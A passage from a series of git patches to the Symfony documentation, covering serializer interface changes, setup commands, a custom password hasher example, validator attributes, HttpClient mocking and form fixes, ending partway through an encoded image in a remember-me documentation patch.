@@ -322,7 +322,6 @@ would initialize the passport like this::
     use Symfony\Component\Security\Http\Authenticator\Passport\Badge\CsrfTokenBadge;
     use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
     use Symfony\Component\Security\Http\Authenticator\Passport\Passport;
-    use Symfony\Component\Security\Http\Authenticator\Passport\Passport;
 
     class LoginAuthenticator extends AbstractAuthenticator
     {

From 18ae5273bb295236323420862c42b0f8425e9e1d Mon Sep 17 00:00:00 2001
From: Mathias Arlaud <mathias.arlaud@gmail.com>
Date: Mon, 10 Jan 2022 19:04:12 +0100
Subject: [PATCH 1589/5766] [Serializer] Deprecate "context aware" interfaces

---
 controller/error_pages.rst       |  2 +-
 serializer/custom_encoders.rst   | 11 ++---------
 serializer/custom_normalizer.rst |  4 ++--
 3 files changed, 5 insertions(+), 12 deletions(-)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index a94294573a0..ce582378c82 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -226,7 +226,7 @@ contents, create a new Normalizer that supports the ``FlattenException`` input::
             ];
         }
 
-        public function supportsNormalization($data, string $format = null)
+        public function supportsNormalization($data, string $format = null, array $context = [])
         {
             return $data instanceof FlattenException;
         }
diff --git a/serializer/custom_encoders.rst b/serializer/custom_encoders.rst
index 7f8a0e1b4f2..1fabd9b2b4d 100644
--- a/serializer/custom_encoders.rst
+++ b/serializer/custom_encoders.rst
@@ -33,7 +33,7 @@ create your own encoder that uses the
             return Yaml::dump($data);
         }
 
-        public function supportsEncoding(string $format)
+        public function supportsEncoding(string $format, array $context = [])
         {
             return 'yaml' === $format;
         }
@@ -43,19 +43,12 @@ create your own encoder that uses the
             return Yaml::parse($data);
         }
 
-        public function supportsDecoding(string $format)
+        public function supportsDecoding(string $format, array $context = [])
         {
             return 'yaml' === $format;
         }
     }
 
-.. tip::
-
-    If you need access to ``$context`` in your ``supportsDecoding`` or
-    ``supportsEncoding`` method, make sure to implement
-    ``Symfony\Component\Serializer\Encoder\ContextAwareDecoderInterface``
-    or ``Symfony\Component\Serializer\Encoder\ContextAwareEncoderInterface`` accordingly.
-
 
 Registering it in your app
 --------------------------
diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 5630eb4e552..fa7aa1f0094 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -22,10 +22,10 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
 
     use App\Entity\Topic;
     use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
-    use Symfony\Component\Serializer\Normalizer\ContextAwareNormalizerInterface;
+    use Symfony\Component\Serializer\Normalizer\NormalizerInterface;
     use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
 
-    class TopicNormalizer implements ContextAwareNormalizerInterface
+    class TopicNormalizer implements NormalizerInterface
     {
         private $router;
         private $normalizer;

From 45c032a21b58074b55cee88ef870a8ecca182941 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Wed, 12 Jan 2022 08:33:34 +0100
Subject: [PATCH 1590/5766] User --webapp instead of --full

---
 setup.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/setup.rst b/setup.rst
index 85c1c58a8cb..94628e87ffe 100644
--- a/setup.rst
+++ b/setup.rst
@@ -53,13 +53,13 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version=5.3 --full
+    $ symfony new my_project_directory --version=5.3 --webapp
 
     # run this if you are building a microservice, console application or API
     $ symfony new my_project_directory --version=5.3
 
 The only difference between these two commands is the number of packages
-installed by default. The ``--full`` option installs all the packages that you
+installed by default. The ``--webapp`` option installs all the packages that you
 usually need to build web applications, so the installation size will be bigger.
 
 If you're not using the Symfony binary, run these commands to create the new
@@ -68,7 +68,9 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton:"^5.3" my_project_directory
+    $ composer create-project symfony/skeleton:"^5.3" my_project_directory
+    $ cd my_project_directory
+    $ composer require webapp
 
     # run this if you are building a microservice, console application or API
     $ composer create-project symfony/skeleton:"^5.3" my_project_directory

From 79aa7359d4cd382b40e33f7ae3f5b67e5e12416d Mon Sep 17 00:00:00 2001
From: MarkPedron <62351451+MarkPedron@users.noreply.github.com>
Date: Thu, 13 Jan 2022 07:41:38 +0100
Subject: [PATCH 1591/5766] Fix custom password hasher doc

The docs confused `UserPasswordHasherInterface` with
`PasswordHasherInterface`. Implementing a custom
`UserPasswordHasherInterface` most likely is not what the developer
wants to do. The subsequent docs configured the example at places
where a `PasswordHasherInterface` is expected.
---
 security/passwords.rst | 34 +++++++++++++++++-----------------
 1 file changed, 17 insertions(+), 17 deletions(-)

diff --git a/security/passwords.rst b/security/passwords.rst
index e30e517f895..47f5e7f0424 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -781,12 +781,12 @@ Creating a custom Password Hasher
 
 If you need to create your own, it needs to follow these rules:
 
-#. The class must implement :class:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface`
-   (you can also extend :class:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasher`);
+#. The class must implement :class:`Symfony\\Component\\PasswordHasher\\PasswordHasherInterface`
+   (you can also implement :class:`Symfony\\Component\\PasswordHasher\\LegacyPasswordHasherInterface` if your hash algorithm uses a separate salt);
 
 #. The implementations of
-   :method:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface::hashPassword`
-   and :method:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface::isPasswordValid`
+   :method:`Symfony\\Component\\PasswordHasher\\PasswordHasherInterface::hash`
+   and :method:`Symfony\\Component\\PasswordHasher\\PasswordHasherInterface::verify`
    **must validate that the password length is no longer than 4096
    characters.** This is for security reasons (see `CVE-2013-5750`_).
 
@@ -795,21 +795,21 @@ If you need to create your own, it needs to follow these rules:
 
 .. code-block:: php
 
-    // src/Security/CustomVerySecureHasher.php
-    namespace App\Security;
+    // src/Security/Hasher/CustomVerySecureHasher.php
+    namespace App\Security\Hasher;
 
+    use Symfony\Component\PasswordHasher\Exception\InvalidPasswordException;
     use Symfony\Component\PasswordHasher\Hasher\CheckPasswordLengthTrait;
-    use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasher;
-    use Symfony\Component\Security\Core\Exception\BadCredentialsException;
+    use Symfony\Component\PasswordHasher\PasswordHasherInterface;
 
-    class CustomVerySecureHasher extends UserPasswordHasher
+    class CustomVerySecureHasher implements PasswordHasherInterface
     {
         use CheckPasswordLengthTrait;
 
-        public function hashPassword(UserInterface $user, string $plainPassword): string
+        public function hash(string $plainPassword): string
         {
-            if ($this->isPasswordTooLong($user->getPassword())) {
-                throw new BadCredentialsException('Invalid password.');
+            if ($this->isPasswordTooLong($plainPassword)) {
+                throw new InvalidPasswordException();
             }
 
             // ... hash the plain password in a secure way
@@ -817,9 +817,9 @@ If you need to create your own, it needs to follow these rules:
             return $hashedPassword;
         }
 
-        public function isPasswordValid(UserInterface $user, string $plainPassword): bool
+        public function verify(string $hashedPassword, string $plainPassword): bool
         {
-            if ($this->isPasswordTooLong($user->getPassword())) {
+            if ('' === $plainPassword || $this->isPasswordTooLong($plainPassword)) {
                 return false;
             }
 
@@ -860,21 +860,21 @@ Now, define a password hasher using the ``id`` setting:
                 <!-- ... -->
                 <!-- id: the service ID of your custom hasher (the FQCN using the default services.yaml) -->
                 <security:password_hasher class="app_hasher"
-                    id="App\Security\Hasher\MyCustomPasswordHasher"/>
+                    id="App\Security\Hasher\CustomVerySecureHasher"/>
             </config>
         </srv:container>
 
     .. code-block:: php
 
         // config/packages/security.php
-        use App\Security\Hasher\MyCustomPasswordHasher;
+        use App\Security\Hasher\CustomVerySecureHasher;
         use Symfony\Config\SecurityConfig;
 
         return static function (SecurityConfig $security) {
             // ...
             $security->passwordHasher('app_hasher')
                 // the service ID of your custom hasher (the FQCN using the default services.yaml)
-                ->id(MyCustomPasswordHasher::class)
+                ->id(CustomVerySecureHasher::class)
             ;
         };
 

From d4ca2e04016b2862ed12437912b29343795cb4b3 Mon Sep 17 00:00:00 2001
From: Jan Rosier <rosier@interstroom.nl>
Date: Thu, 13 Jan 2022 15:29:15 +0100
Subject: [PATCH 1592/5766] Update Monolog processors github url

---
 logging/processors.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/logging/processors.rst b/logging/processors.rst
index 1aa331b23f3..3ae0e7a0492 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -280,4 +280,4 @@ the ``monolog.processor`` tag:
             ->addTag('monolog.processor', ['channel' => 'main']);
 
 .. _`Monolog`: https://github.com/Seldaek/monolog
-.. _`built-in Monolog processors`: https://github.com/Seldaek/monolog/tree/master/src/Monolog/Processor
+.. _`built-in Monolog processors`: https://github.com/Seldaek/monolog/tree/main/src/Monolog/Processor

From 7099e3f2f6cb0049f950a428ea01d652ce3bd5da Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 20 Jul 2021 10:20:58 +0200
Subject: [PATCH 1593/5766] [Validator] Add attributes documentation of
 composite constraints

---
 reference/constraints/All.rst          | 22 +++++++++++++++++
 reference/constraints/AtLeastOneOf.rst | 30 +++++++++++++++++++++++
 reference/constraints/Collection.rst   | 34 ++++++++++++++++++++++++++
 reference/constraints/Sequentially.rst | 26 ++++++++++++++++++++
 4 files changed, 112 insertions(+)

diff --git a/reference/constraints/All.rst b/reference/constraints/All.rst
index 1577a07ec4d..f50efb5bf0d 100644
--- a/reference/constraints/All.rst
+++ b/reference/constraints/All.rst
@@ -39,6 +39,23 @@ entry in that array:
             protected $favoriteColors = [];
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        // IMPORTANT: nested attributes requires PHP 8.1 or higher
+        class User
+        {
+            #[Assert\All([
+                new Assert\NotBlank,
+                new Assert\Length(min: 5),
+            ])]
+            protected $favoriteColors = [];
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -93,6 +110,11 @@ entry in that array:
             }
         }
 
+.. versionadded:: 5.4
+
+    The ``#[All]`` PHP attribute was introduced in Symfony 5.4 and requires
+    PHP 8.1 (which added nested attribute support).
+
 Now, each entry in the ``favoriteColors`` array will be validated to not
 be blank and to be at least 5 characters long.
 
diff --git a/reference/constraints/AtLeastOneOf.rst b/reference/constraints/AtLeastOneOf.rst
index fb29a86f8d8..28f55ede51c 100644
--- a/reference/constraints/AtLeastOneOf.rst
+++ b/reference/constraints/AtLeastOneOf.rst
@@ -60,6 +60,31 @@ The following constraints ensure that:
             protected $grades;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Student.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        // IMPORTANT: nested attributes requires PHP 8.1 or higher
+        class Student
+        {
+            #[Assert\AtLeastOneOf([
+                new Assert\Regex('/#/'),
+                new Assert\Length(min: 10),
+            ])]
+            protected $plainPassword;
+
+            #[Assert\AtLeastOneOf([
+                new Assert\Count(min: 3),
+                new Assert\All(
+                    new Assert\GreaterThanOrEqual(5)
+                ),
+            ])]
+            protected $grades;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -149,6 +174,11 @@ The following constraints ensure that:
             }
         }
 
+.. versionadded:: 5.4
+
+    The ``#[AtLeastOneOf]`` PHP attribute was introduced in Symfony 5.4 and
+    requires PHP 8.1 (which added nested attribute support).
+
 Options
 -------
 
diff --git a/reference/constraints/Collection.rst b/reference/constraints/Collection.rst
index c60679aa90b..0f249c1d818 100644
--- a/reference/constraints/Collection.rst
+++ b/reference/constraints/Collection.rst
@@ -88,6 +88,35 @@ following:
             ];
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        // IMPORTANT: nested attributes requires PHP 8.1 or higher
+        class Author
+        {
+            #[Assert\Collection(
+                fields: [
+                    'personal_email' => new Assert\Email,
+                    'short_bio' => [
+                        new Assert\NotBlank,
+                        new Assert\Length(
+                            max: 100,
+                            maxMessage: 'Your short bio is too long!'
+                        )
+                    ]
+                ],
+                allowMissingFields: true,
+            )]
+            protected $profileData = [
+                'personal_email' => '...',
+                'short_bio' => '...',
+            ];
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -162,6 +191,11 @@ following:
             }
         }
 
+.. versionadded:: 5.4
+
+    The ``#[Collection]`` PHP attribute was introduced in Symfony 5.4 and
+    requires PHP 8.1 (which added nested attribute support).
+
 Presence and Absence of Fields
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/reference/constraints/Sequentially.rst b/reference/constraints/Sequentially.rst
index da7bd16f4b2..9e6f6eaefbb 100644
--- a/reference/constraints/Sequentially.rst
+++ b/reference/constraints/Sequentially.rst
@@ -67,6 +67,27 @@ You can validate each of these constraints sequentially to solve these issues:
             public $address;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Localization/Place.php
+        namespace App\Localization;
+
+        use App\Validator\Constraints as AcmeAssert;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        // IMPORTANT: nested attributes requires PHP 8.1 or higher
+        class Place
+        {
+            #[Assert\Sequentially([
+                new Assert\NotNull,
+                new Assert\Type('string'),
+                new Assert\Length(min: 10),
+                new Assert\Regex(Place::ADDRESS_REGEX),
+                new AcmeAssert\Geolocalizable,
+            ])]
+            public $address;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -128,6 +149,11 @@ You can validate each of these constraints sequentially to solve these issues:
             }
         }
 
+.. versionadded:: 5.4
+
+    The ``#[Sequentially]`` PHP attribute was introduced in Symfony 5.4 and
+    requires PHP 8.1 (which added nested attribute support).
+
 Options
 -------
 

From d7db41a751837a6e3f94e81f2ea3c360eb096722 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Fri, 14 Jan 2022 15:07:38 +0100
Subject: [PATCH 1594/5766] Drop 5.4 versionadded directives

---
 reference/constraints/All.rst          | 5 -----
 reference/constraints/AtLeastOneOf.rst | 5 -----
 reference/constraints/Collection.rst   | 5 -----
 reference/constraints/Sequentially.rst | 5 -----
 4 files changed, 20 deletions(-)

diff --git a/reference/constraints/All.rst b/reference/constraints/All.rst
index cfcf75343fd..ec4e76d96f9 100644
--- a/reference/constraints/All.rst
+++ b/reference/constraints/All.rst
@@ -107,11 +107,6 @@ entry in that array:
             }
         }
 
-.. versionadded:: 5.4
-
-    The ``#[All]`` PHP attribute was introduced in Symfony 5.4 and requires
-    PHP 8.1 (which added nested attribute support).
-
 Now, each entry in the ``favoriteColors`` array will be validated to not
 be blank and to be at least 5 characters long.
 
diff --git a/reference/constraints/AtLeastOneOf.rst b/reference/constraints/AtLeastOneOf.rst
index a548bf03149..42067f0c231 100644
--- a/reference/constraints/AtLeastOneOf.rst
+++ b/reference/constraints/AtLeastOneOf.rst
@@ -164,11 +164,6 @@ The following constraints ensure that:
             }
         }
 
-.. versionadded:: 5.4
-
-    The ``#[AtLeastOneOf]`` PHP attribute was introduced in Symfony 5.4 and
-    requires PHP 8.1 (which added nested attribute support).
-
 Options
 -------
 
diff --git a/reference/constraints/Collection.rst b/reference/constraints/Collection.rst
index e708511d309..6830dcc0956 100644
--- a/reference/constraints/Collection.rst
+++ b/reference/constraints/Collection.rst
@@ -184,11 +184,6 @@ following:
             }
         }
 
-.. versionadded:: 5.4
-
-    The ``#[Collection]`` PHP attribute was introduced in Symfony 5.4 and
-    requires PHP 8.1 (which added nested attribute support).
-
 Presence and Absence of Fields
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/reference/constraints/Sequentially.rst b/reference/constraints/Sequentially.rst
index ffe82deae62..49eb07c5aa0 100644
--- a/reference/constraints/Sequentially.rst
+++ b/reference/constraints/Sequentially.rst
@@ -142,11 +142,6 @@ You can validate each of these constraints sequentially to solve these issues:
             }
         }
 
-.. versionadded:: 5.4
-
-    The ``#[Sequentially]`` PHP attribute was introduced in Symfony 5.4 and
-    requires PHP 8.1 (which added nested attribute support).
-
 Options
 -------
 

From 76bd5fb5fd9e4ee18a102f4ea568bff7a7198bca Mon Sep 17 00:00:00 2001
From: Volodymyr Kupriienko <vldmr.kuprienko@gmail.com>
Date: Fri, 1 Oct 2021 21:16:56 +0300
Subject: [PATCH 1595/5766] [HttpClient]
 HttpClientInterface::setResponseFactory method

---
 http_client.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 834ada0b10a..6254d816efe 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1678,6 +1678,23 @@ responses dynamically when it's called::
     $client = new MockHttpClient($callback);
     $response = $client->request('...'); // calls $callback to get the response
 
+.. tip::
+
+    Instead of using the first argument, you can also set the (list of)
+    responses or callbacks using the ``setResponseFactory()`` method::
+
+        $responses = [
+            new MockResponse($body1, $info1),
+            new MockResponse($body2, $info2),
+        ];
+
+        $client = new MockHttpClient();
+        $client->setResponseFactory($responses);
+
+    .. versionadded:: 5.4
+
+        The ``setResponseFactory()`` method was introduced in Symfony 5.4.
+
 If you need to test responses with HTTP status codes different than 200,
 define the ``http_code`` option::
 

From 4d0c9b608046b6aa288c56104643a4361be2edba Mon Sep 17 00:00:00 2001
From: Ahmed El Moden <cresuso@gmail.com>
Date: Wed, 29 Sep 2021 15:22:45 +0200
Subject: [PATCH 1596/5766] Document by_reference option

This option is needed sometimes, and it is not documented for entityType
---
 reference/forms/types/entity.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index 6adaa9df79f..ec3dbc2eb70 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -284,6 +284,8 @@ type:
 
 .. include:: /reference/forms/types/options/attr.rst.inc
 
+.. include:: /reference/forms/types/options/by_reference.rst.inc
+
 .. include:: /reference/forms/types/options/data.rst.inc
 
 .. include:: /reference/forms/types/options/disabled.rst.inc

From b583427d599e213ff5bc2af0fec5eaf8727615ae Mon Sep 17 00:00:00 2001
From: helmi dridi <43951764+helmidridi@users.noreply.github.com>
Date: Wed, 13 Oct 2021 13:41:03 +0100
Subject: [PATCH 1597/5766] Update definition.rst

---
 components/config/definition.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/components/config/definition.rst b/components/config/definition.rst
index 4030098a66b..2864bddb570 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -820,7 +820,8 @@ character (``.``)::
 
     $node = $treeBuilder->buildTree();
     $children = $node->getChildren();
-    $path = $children['driver']->getPath();
+    $childChildren = $children['connection']->getChildren();
+    $path = $childChildren['driver']->getPath();
     // $path = 'database.connection.driver'
 
 Use the ``setPathSeparator()`` method on the config builder to change the path
@@ -831,7 +832,8 @@ separator::
     $treeBuilder->setPathSeparator('/');
     $node = $treeBuilder->buildTree();
     $children = $node->getChildren();
-    $path = $children['driver']->getPath();
+    $childChildren = $children['connection']->getChildren();
+    $path = $childChildren['driver']->getPath();
     // $path = 'database/connection/driver'
 
 Processing Configuration Values

From 48008248a03d4734a0e4306d7d3d4fcec78674db Mon Sep 17 00:00:00 2001
From: Punt13140 <33422215+Punt13140@users.noreply.github.com>
Date: Fri, 22 Oct 2021 00:51:43 +0200
Subject: [PATCH 1598/5766] Update form_collections.rst

Hi,

Shouldn't we add a delete link just to <li> childs instead of the <ul> parent ?

Thanks
---
 form/form_collections.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index c58bf996235..0ab38902a17 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -531,7 +531,7 @@ First, add a "delete this tag" link to each tag form:
 
 .. code-block:: javascript
 
-    const tags = document.querySelectorAll('ul.tags')
+    const tags = document.querySelectorAll('ul.tags li')
     tags.forEach((tag) => {
         addTagFormDeleteLink(tag)
     })

From 01bd2cef8f005521e510be6d9861b89ac8ab77f0 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 23 Oct 2021 12:26:27 +0200
Subject: [PATCH 1599/5766] [Form] Minor deletion

Follow-up of https://github.com/symfony/symfony-docs/pull/15982
The point is that it's included in **label** (not in *errors*) ;-)
---
 form/form_customization.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/form/form_customization.rst b/form/form_customization.rst
index e88c29e11d7..00d192b23e8 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -257,8 +257,9 @@ Renders any errors for the given field.
 
 .. caution::
 
-    In the :ref:`error messages of Bootstrap 4 Form Theme <reference-forms-bootstrap4-error-messages>`,
-    ``form_errors()`` is already included in ``form_label()``.
+    In the Bootstrap 4 form theme, ``form_errors()`` is already included in
+    ``form_label()``. Read more about this in the
+    :ref:`Bootstrap 4 theme documentation <reference-forms-bootstrap4-error-messages>`.
 
 .. _reference-forms-twig-widget:
 

From 7a175b9e08f6f8ad056e18b529776deec51b8f02 Mon Sep 17 00:00:00 2001
From: soyuka <soyuka@users.noreply.github.com>
Date: Wed, 27 Oct 2021 16:46:13 +0200
Subject: [PATCH 1600/5766] serializer: default context configuration #16010

---
 serializer.rst | 43 +++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 43 insertions(+)

diff --git a/serializer.rst b/serializer.rst
index 92250d2f5a9..f61e2709dfe 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -175,6 +175,49 @@ You can pass the context like following::
         DateTimeNormalizer::FORMAT_KEY => 'Y-m-d H:i:s',
     ]);
 
+You can also configure the default context through the framework
+configuration:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            serializer:
+                default_context:
+                    enable_max_depth: true
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <framework:config>
+            <!-- ... -->
+            <framework:serializer>
+                <default-context enable-max-depth="true"/>
+            </framework:serializer>
+        </framework:config>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+        use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->serializer()
+                ->defaultContext([
+                    AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true
+                ])
+            ;
+        };
+
+.. versionadded:: 5.4
+
+    The ability to configure the ``default_context`` option in the
+    Serializer was introduced in Symfony 5.4.
+
 .. _serializer-using-serialization-groups-annotations:
 
 Using Serialization Groups Annotations

From 5ac2d260f2fe7dec95d66317fb05e76b56170bd7 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Fri, 7 Jan 2022 17:51:56 +0100
Subject: [PATCH 1601/5766] Document the new remember me system

---
 _images/security/profiler-badges.png | Bin 0 -> 151450 bytes
 security/remember_me.rst             | 616 ++++++++++++++++++---------
 2 files changed, 415 insertions(+), 201 deletions(-)
 create mode 100644 _images/security/profiler-badges.png

diff --git a/_images/security/profiler-badges.png b/_images/security/profiler-badges.png
new file mode 100644
index 0000000000000000000000000000000000000000..a19f8539581a937011667179a8958d66a2ec504c
GIT binary patch
literal 151450
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
